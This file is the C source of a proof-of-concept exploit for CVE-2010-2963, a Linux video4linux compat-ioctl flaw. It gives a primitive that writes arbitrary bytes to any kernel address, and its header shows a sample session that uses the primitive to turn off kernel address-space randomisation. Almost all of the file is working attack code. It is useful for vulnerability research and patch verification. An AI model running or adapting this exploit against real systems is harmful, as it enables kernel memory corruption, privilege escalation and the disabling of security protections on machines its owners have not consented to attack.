/*
 * CVE-2010-2963: Write kernel memory via v4l compat ioctl.
 * Oct 11, 2010  Kees Cook <kees@ubuntu.com>
 *

$ cc -m32 -o vyakarana vyakarana.c
$ cat /proc/sys/kernel/randomize_va_space
2
$ ./vyakarana $(grep randomize_va /boot/System.map-$(uname -r) | cut -d" " -f1) 0 4
$ cat /proc/sys/kernel/randomize_va_space
0

 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <assert.h>
#include <malloc.h>
#include <sys/types.h>
#include <linux/videodev.h>
#include <syscall.h>

#define DEVICE "/dev/video0"

struct video_code32 {
        char            loadwhat[16];
        int             datasize;
        int             padding;
        uint64_t        data;
};

int super_memcpy(uint64_t destination, void *source, int length)
{
	struct video_code32 vc = { };
	struct video_tuner tuner = { };
	int dev;
	unsigned int code;

	if ( (dev=open(DEVICE, O_RDWR)) < 0) {
		perror(DEVICE);
		return 1;
	}

	vc.datasize = length;
	vc.data = (uint64_t)(uintptr_t)source;

	memset(&tuner, 0xBB, sizeof(tuner));

	// manual union, since a real union won't do ptrs for 64bit
	uint64_t *ptr = (uint64_t*)(&(tuner.name[20]));
	*ptr = destination;

	// beat memory into the stack...
	code = VIDIOCSTUNER;
	syscall(54, dev, code, &tuner);
	syscall(54, dev, code, &tuner);
	syscall(54, dev, code, &tuner);
	syscall(54, dev, code, &tuner);
	syscall(54, dev, code, &tuner);
	syscall(54, dev, code, &tuner);

	code = 0x4020761b; // VIDIOCSMICROCODE32 (why isn't this VIDIOCSMICROCODE?)
	syscall(54, dev, code, &vc);

	return 0;
}

int main(int argc, char *argv[])
{
    uint64_t destination = strtoull(argv[1], NULL, 16);
    uint64_t value = strtoull(argv[2], NULL, 16);
    int length = atoi(argv[3]);
    if (length > sizeof(value))
        length = sizeof(value);
    return super_memcpy(destination, &value, length);
}
